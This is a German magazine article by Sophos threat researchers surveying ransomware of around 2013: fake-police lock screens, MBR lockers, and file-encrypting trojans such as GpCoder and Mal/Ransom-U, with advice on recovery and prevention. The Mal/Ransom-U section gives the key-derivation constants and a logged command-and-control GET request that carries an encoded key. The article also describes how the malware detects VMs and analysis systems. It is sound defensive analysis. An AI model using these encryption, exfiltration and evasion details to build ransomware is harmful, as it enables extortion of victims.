Bedrohung, Ransomware

Feindliche Übernahme

Aktuelle Erscheinungsformen von Ransomware

Nachdem die letzten Jahre durch vergleichsweise harmlose Fake-AV-Trojaner geprägt waren, löst diesen Trend nun ein sehr viel gefährlicherer Trojaner-Schädling ab: Ransomware. Diese Trojaner-Art sperrt den Nutzer von seinem eigenen Rechner aus, verschlüsselt Dokumente und fordert ein Lösegeld. Und selbst bei Zahlung ist völlig offen, ob die Dateien frei gegeben werden. Aber es gibt Möglichkeiten sich zu schützen oder befallene Rechner zu reinigen.

Von Dirk Kollberg und Anand Ajjan, Hamburg

Die ersten Ransomware-Trojaner informierten den Nutzer mit einer Nachricht über den fremdgesteuerten Monitor bezüglich der Übernahme. Der Nutzer hatte keinen Zugriff mehr auf das System, nicht mal der Taskmanager konnte genutzt werden. Mit der Nachricht wurde der Nutzer aufgefordert, eine SMS an eine kostenpflichtige Telefonnummer zu schicken, um daraufhin einen Freischalt-Code zu erhalten. Hierbei sind nur die Kosten für die SMS angefallen. Doch diese Zeiten sind schon lange vorbei. Eine ganze Ecke teurer geht es bei den neueren Varianten zu, die Nutzer zwar auch aussperren, im Anschluss aber vorgeben, von einer offiziellen Behörde zu sein. Der Rechner sei auf Grund illegaler Aktivitäten gesperrt und um ihn wieder freizuschalten, soll der Nutzer einen bestimmten Geldbetrag zahlen. Dieser ist meistens nicht allzu hoch (50 bis 100 Euro), damit die Zahlungsbereitschaft gefördert wird.

Entscheidet sich ein Betroffener für die Überweisung, werden meist die in Hackerkreisen bewährten bargeldlosen Bezahlsysteme wie Paysafecard, Ukash oder MoneyPak verwendet. Bei diesen Zahlmethoden ist es nicht möglich den Empfänger zu identifizieren, entsprechend gern nutzen die Kriminellen diese Dienste, um die Gelder anonym zu transferieren. Die Firmen haben tausende Vertragspartner in Deutschland, bei denen jedermann anonym einen Gutschein kaufen kann, zum Beispiel in Tankstellen und Supermärkten. Der erhaltene PIN ist nicht personenbezogen, wodurch jeder PIN-Besitzer in der Lage ist, den Gutschein einzulösen. Während dieses Geschäftsmodell grundsätzlich keineswegs verwerflich ist und sehr oft im Internet für legale Geschäfte genutzt wird, profitieren von dem Service natürlich auch Kriminelle, da diese so leicht ihre Identität verschleiern können.

Entschlüsselung unmöglich

: Internationale Sperrbildschirme: Nach der Infizierung verbinden sich Ransomware-Programme mit einem Server und rufen, je nach übertragender Länderkennung, den entsprechenden Sperrbildschirm ab.

Eine andere Klasse der Ransomware-Trojaner setzt sich im Master Boot Record (MBR) des Rechners fest und verhindert den Start des Betriebssystems. Auf dem Bildschirm gibt der Trojaner an, er hätte Dateien auf der Festplatte verschlüsselt und fordert ein Lösegeld. Jedoch verändern die bisher bekannten Varianten nur den MBR und lassen die Dateien unverändert. Hier ist recht leicht Abhilfe zu schaffen. Besonders perfide ist eine weitere Ransomware-Abwandlung, bei der der Trojaner einzelne Dateien auf der Festplatte verschlüsselt. So wird zum Beispiel der Zugriff auf XML-, DOC-, PPT-, ZIP- oder PDF-Dateien verhindert. Den entsprechenden Schlüssel zur Freigabe solcher Dateien versprechen die Hacker wiederum nach Zahlung eines Lösegelds. Vor wenigen Jahren wurde bei dieser Attacke ein einfaches symmetrisches Verschlüsselungsverfahren angewendet. Daher war es in vielen Fällen möglich, den Schlüssel aus dem Trojaner auszulesen und für Betroffene ein Werkzeug zur Entschlüsselung zu erstellen. Im Sommer des letzten Jahres tauchten allerdings die ersten Schädlinge auf, die über einen Server im Internet den ganzen oder einen Teil des Schlüssels erhalten. Dadurch kommt bei jeder Infektion ein anderer Schlüssel zum Einsatz und eine Entschlüsselung ist nahezu unmöglich. In diesem Fall sollte man auf sein Backup vertrauen können.

Da diese variablen Trojaner jedoch sehr aufwändig in der Erstellung und im Betrieb sind, kommt hauptsächlich die erste Variante zum Einsatz. Die primäre Zielgruppe dieser Ransomware, die Betroffene durch ein Bedrohungsszenario einschüchtern will, sind unerfahrene Privatnutzer. Allerdings stellen wir bei den SophosLabs fest, dass vermehrt auch Unternehmen betroffen sind. Verbreitet werden diese Schädlinge über verschiedene Wege. Botnetze werden genutzt, um Spam-E-Mails mit dem Schädling als Anhang zu verbreiten. Sie können aber auch über soziale Netzwerke oder Peer-to- Peer-Börsen auf den Rechner des Opfers gelangen. Besonders beliebt sind derzeit Exploit-Kits wie zum Beispiel Blackhole, die aktuelle Schwachstellen im Browser oder Programmen wie Adobe Flash oder Java gezielt ausnutzen. Ist der Rechner einmal kompromittiert, wird oft nicht nur der Ransomware-Trojaner installiert, sondern auch andere Schadprogramme mit eigenen Zielen.

Opfer im Ausland

Welches Programm auch immer zum Einsatz kommt, die potenziellen Gewinnspannen der Cyberkriminellen sind enorm. Im Februar 2013 wurden elf Osteuropäer im Zusammenhang mit dem Ransomware-Trojaner Reveton in Spanien und Afrika festgenommen. Den Umsatz dieser Gruppe schätzen Experten auf zirka eine Million USDollar pro Jahr. Der vermeintliche Kopf der Bande, ein 27-jähriger Russe, konnte man in Dubai stellen. Über eine Auslieferung an Spanien, das federführend in der Verfolgung ist, wurde allerdings noch nicht entschieden. Die Reisefreudigkeit der Kriminellen und die Tatsache, dass sie ihre Opfer oft im Ausland aussuchen sowie die Infizierung von Rechnern im eigenen Land vermeiden, ist kein Zufall. Die größte Gefahr für Hacker dieser Größenordnung geht von Rechtsvertretern aus. Da die Strafverfolgung über Landesgrenzen hinweg schwierig ist und zudem durch Sprachbarrieren beeinträchtigt wird, überprüfen moderne Schadprogramme immer häufiger, wo sie ausgeführt werden und auch die Hacker selbst sind häufig auf Achse.

Einige Schädlinge und ihre Auswirkungen im Detail

Troj/GpCoder-F

Der erste Ransomware-Schädling, der auf eine starke Private-Public-Key-Verschlüsselung gesetzt hat, war GpCoder. Dieses Programm nutzte einen zufällig generierten synchronen 256-Bit-AES-Schlüssel, welcher wiederum mit einem öffentlichen 1024-Bit-RSA-Schlüssel codiert wurde. Der private Schlüssel zum Entschlüsseln bleibt bei dieser Methode beim Angreifer. Kommt Gp- Coder zur Ausführung, verschlüsselt er eine Vielzahl von Dateien auf dem System, vermeidet allerdings solche Dateien, die für das Betriebssystem notwendig sind. Nachdem der Trojaner die Dateien verschlüsselt hat, legt er in jedes Verzeichnis eine Textdatei mit Instruktionen für den Nutzer. Dieser soll zwei kleine verschlüsselte Dateien an eine E-Mail-Adresse senden und, nachdem die Zahlung abgewickelt wurde, Informationen zur Wiederherstellung der Daten erhalten.

Mal/EncPk-AEM

Dieser Trojaner nutzt den RC4-Algorithmus zur Verschlüsselung von Dateien. Der Schlüssel wird nur einmal erstellt und für alle Dateien angewendet. Dadurch ist es durch den Vergleich einer un- und einer verschlüsselten Datei möglich, den Schlüssel zu recherchieren und alle Dateien auf dem Rechner wieder herzustellen. Bei genannter Ransomware werden zum Beispiel die ersten 0x1000 Bytes von nicht systemrelevanten Dateien verschlüsselt und die Dateien im Anschluss umbenannt. So wird aus locked.<ursprünglicher dateiname>.<zufällige vierstellige dateierweiterung> zum Beispiel locked. Gehalt052013.docx.hsgh. Einige Anbieter von Sicherheitslösungen bieten bei diesen Schädlingen spezielle Programme zur Entschlüsselung an. Diese ändern dann auch die Dateinamen wieder in die ursprüngliche Form. Die Kriminellen haben aber schnell erkannt, dass dieser Ansatz angreifbar, sprich reversibel ist, und entwickelten entsprechend stärkere Verschlüsselungsmethoden.

Mal/Ransom-U

Dieses Programm nutzt die sogenannte Cryptographic API, um einen RC4-Schlüssel zu erstellen. Dieser wird anschließend durch einen Pseudo-Zufallsgenerator und weitere Systeminformationen ergänzt. Der Trojaner kopiert sich unter einem zufälligen Namen in ein Unterverzeichnis von %APPDATA%, sperrt den Task Manager und löscht die Safe-Boot-Einträge in der Registry. Dann versucht das Programm, die Verbindung zu einem Command&Control-Server aufzubauen, der die Verschlüsselung auf dem Rechner des Opfers startet. Ist dieser Vorgang erfolgreich, werden die 0x3000 Bytes von nicht systemrelevanten Dateien mit einem individuellen Key verschlüsselt. Dieser wird in einer Datei zusammen mit dem Dateinamen gespeichert. Im TEMP-Verzeichnis des Rechners wird eine <machineid>.$01 Datei erstellt, die das Forderungsbild enthält, das dem Nutzer bildschirmfüllend angezeigt wird. In der Datei <machineid>.$02 wird der Key gespeichert, mit dem die jeweiligen Dateien verschlüsselt wurden.

Die folgenden Informationen werden genutzt:

A: Drive Volume Serial number
B: Benutzername
C: Computername
D: Konstante -> QQasd123zxc
E: Konstante -> &udhYtetdh&76ww

Diese Konstanten werden aus beschriebenen Informationen gebildet:

<MachineID> -> besteht aus A:, C: und D:
Key1 -> MD5 von MachineID, B: und C:
Key2 -> Key2 ist ein MD5-Wert von einer zufälligen Zeichenkette die zwischen 30 und 61 Buchstaben hat und um E: ergänzt wird.

Zur Verschlüsselung der Dateien wird der Key1 genutzt. Mit Key2 wird Key1 erneut verschlüsselt und in der Datei <MachineID>.$02 gespeichert. Key2 wird vom Trojaner BASE64 entschlüsselt und an den Command& Controll-Server geschickt. Anschließend wird der Key2 auf dem Rechner des Opfers gelöscht. In diesem Fall ist es nicht möglich, die Dateien zu entschlüsseln, ohne in Besitz von Key2 zu sein. Mit etwas Glück findet sich aber im Proxy Logfile folgender Eintrag, der die Kommunikation mit dem Server zeigt:

GET /cgi-bin/a.php?id=9064EA414D4158454C50&cmd=lfk&ldn=47&stat=CRA&ver=400001&
data=02KrMKN4HKBUcs%2BTHx%2BGXQp2tuQeQ%2FIXj9hor2pIEGg14YiB%2FalifonTXTXdtDUA HTTP/1.1\r\n.

Ist dieser Eintrag vorhanden, lassen sich theoretisch alle Dateien wieder herstellen, denn der Wert hinter id= ist der BASE64-kodierte Key2.

International aufgestellt sind allerdings auch die Sperrbildschirme der Kriminellen selbst. Reveton und andere Ransomware-Programme verbinden sich nach der Infizierung selbstständig mit dem Internet und rufen von einem Command&Control-Server eine HTML-Seite ab, die bildschirmfüllend angezeigt wird. Erhält der Server die Anfrage, überprüft dieser anhand der IP-Adresse des Opfers, in welchem Land sich der Rechner befindet. Somit ist es möglich, für beispielsweise deutsche Opfer eine Meldung anzuzeigen, die das Logo der Gesellschaft zur Verfolgung von Urheberrechtsverletzungen e.V. (GVU) einbindet und den Vorwurf erhebt, von dem Rechner seien illegale Filme oder Musikstücke verbreitet worden. In diesem Jahr haben wir auch einige Varianten gesehen, die das Logo des Bundeskriminalamts (BKA) nutzen. Hier haben Kriminelle unter anderem ein Drohszenario aufgebaut, indem vom Server eine HTML-Seite geladen wurde, die kinderpornografische Bilder enthält, welche angeblich auf dem infizierten Rechner gefunden wurden. Wird dieselbe Ransomware-Variante auf einem Rechner in England ausgeführt, liefert der Server die gleichen Bilder, zeigt jedoch den Text in Englisch an und nutzt das Logo der Metropolitan Police. Ebenso ist es möglich, dass sich der Trojaner bei einer russischen IP-Adresse einfach selbst beendet und keine Veränderungen am System vornimmt.

Trojaner erkennen VM

Es handelt sich also um einen sehr modularen Angriff, und die einzelnen Komponenten werden von den Angreifern stetig aktualisiert und verändert. So halten die Hacker ihre auf dem Server gespeicherten Exploit Kits immer auf dem neuesten Stand, um zu gewährleisten, dass sie möglichst viele Opfer infizieren können. Die ausführbaren Dateien werden immer wieder neu kompiliert und durch polymorphe Packer verschleiert. Antivirus-Produkte mit traditionellen Signaturen haben es deshalb sehr schwer, effektiven Schutz anzubieten. Umso wichtiger ist der Einsatz von verhaltensbasierenden Erkennungen, HIPS-Erkennungen oder auch IP-Reputationsmechanismen, die den Zugriff auf die Command&Control-Server verhindern. Aber auch den Sicherheitsanbietern machen die Schädlinge kein leichtes Leben. So existieren bei den Kriminellen Listen über die IP-Adressen, die bei verschiedenen Herstellern von Analysesystemen genutzt werden. Viele Trojaner überprüfen mittlerweile automatisch, ob sie in einer virtuellen Maschine (VM) laufen. Ist die IP bekannt oder wird eine VM erkannt, verhalten sich die Schädlinge unauffällig. Aufgrund dieser Vielfältigkeit ist es umso wichtiger, sowohl den Rechner als auch das Betriebssystem und die genutzten Anwendungen regelmäßig und zeitnah mit Updates und Patches zu versorgen. Ist der Rechner bereits infiziert, hilft in manchen Fällen auch eine SOS-CD, die den Rechner neu startet und mithilfe einer Antivirus-Software überprüft sowie bereinigt.

: Die Kriminellen nutzen diverse Drohszenarien. Besonders beliebt ist die Behauptung, urheberrechtlich geschützte Medieninhalte oder kinderpornografisches Material seien auf dem Rechner gefunden worden.

Eine weitere Variante, Dateien für den eigentlichen Besitzer unzugänglich zu machen, ist die RAR-verschlüsselnde Ransomware. Kriminelle, die das Crypto-API-Verfahren nicht nutzen wollen, können auch mithilfe des Archivierungsprogramms RAR-Daten auf der Festplatte verschlüsseln. In diesem Bereich gibt es zunächst einmal ebenfalls einfache Schädlinge, bei denen Hacker den Schlüssel anhand von Systeminformationen erstellen und für alle Dateien anwenden. Auch hierbei ist es zum Glück für die Betroffenen möglich, die verschlüsselten Dateien nach der Infizierung durch ein Spezialprogramm wiederherzustellen. Um diese Möglichkeit zu verhindern, gibt es aber auch beim RAR-Verfahren Trojaner, die einen zweiteiligen Schlüssel nutzen. Der erste Teil besteht aus den Systeminformationen, der zweite aus einer 40-stelligen Zeichenkette, die bei jeder zu verschlüsselnden Datei neu generiert wird. Der zweite Teil wird nicht auf dem Rechner gespeichert, sondern an einen Command& Control-Server zusammen mit der System-ID übertragen.

Wer von Ransomware betroffen ist, sollte sich umgehend mit seinem Sicherheitsanbieter in Verbindung setzen und genau in Erfahrung bringen, von welcher Variante er betroffen ist. Es macht keinen Sinn, der Forderung nachzukommen und zu zahlen. Zumindest uns ist kein Fall bekannt, in dem die Zahlung zu der Entschlüsselung der Dateien geführt hat. Der Trend zur Ransomware wird auch in Zukunft anhalten und weitere Plattformen neben Windows erobern. Für Mac OS gibt es bereits einen Proof-of- Concept-Trojaner, und neue Schädlinge für das Apple-Betriebssystem sind in naher Zukunft zu erwarten. Auch mobile Plattformen stellen ein lukratives Ziel für Kriminelle da und mit entsprechenden Schädlingen für Android-Geräte kann noch in diesem Jahr gerechnet werden.

Dirk Kollberg und Anand Ajjan sind Senior Threat Researcher bei Sophos.